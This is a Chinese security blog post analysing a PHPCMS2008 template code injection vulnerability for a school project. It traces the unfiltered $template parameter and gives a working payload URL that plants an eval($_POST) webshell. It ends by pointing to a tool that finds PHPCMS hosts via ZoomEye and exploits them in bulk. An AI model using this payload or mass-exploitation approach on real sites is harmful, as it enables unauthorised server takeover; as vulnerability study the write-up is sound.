Hu3sky's blog

PHPCMS2008_getshell

Word count: 427 / Reading time: 2 min
2019/01/11 Share

PHPCMS2008 getshell

应学校工程实践2要求。。每人分析一个cve。我选择了phpcms2008.

环境搭建

由于PHPCMS2008要求的MYSQL版本较低,于是在docker里拉取了mysql5.2进行搭建

漏洞分析

该漏洞发生在web根目录下的type,php文件里,主要漏洞点从第17行开始。
1

从代码中可知,$template参数可以直接由外部传入,也就是说用户可以控制此参数,这样就可以将恶意的参数给传递进来,而该参数只经过判空处理,没有其他的过滤函数去过滤该参数,并不安全,之后在第31行处传入了template()函数处理
于是接下来,我们跟进到template()函数中,在\include\global.func.php的第771行,很明显,这个global.func.php文件定义了所有cms里的函数
1

而在template函数里,我们发现$template继续被template_complie函数处理
1

继续跟进template_complie函数
1

最终,我们看到,$template参数被用于compiledtplfile的路径生成,然后被写入到content中,即compiledtplfile对应路径下的PHP文件中去。又由于$template参数未被过滤,只在之前被检查不能为空,所以该PHP文件下可以写入任意代码,最终造成任意代码注入漏洞。

漏洞复现

1
2
Payload: 
http://52.36.15.23:8881/phpcms/type.php?template=tag_(){};eval($_POST[sai]);{//../rss

接着访问http://52.36.15.23:8881/phpcms/data/cache_template/rss.tpl.php
即可访问后门文件,接着查看data/cache_template/rss.tpl.php,确实被写入了后门
1

批量利用

最后写了一个,从zoomeye里批量搜索phpcms的ip,然后再批量上poc打

链接:https://github.com/Hu3sky/phpcms2008_exp

(请勿做非法使用)

CATALOG
  1. 1. PHPCMS2008 getshell
    1. 1.1. 环境搭建
    2. 1.2. 漏洞分析
    3. 1.3. 漏洞复现
    4. 1.4. 批量利用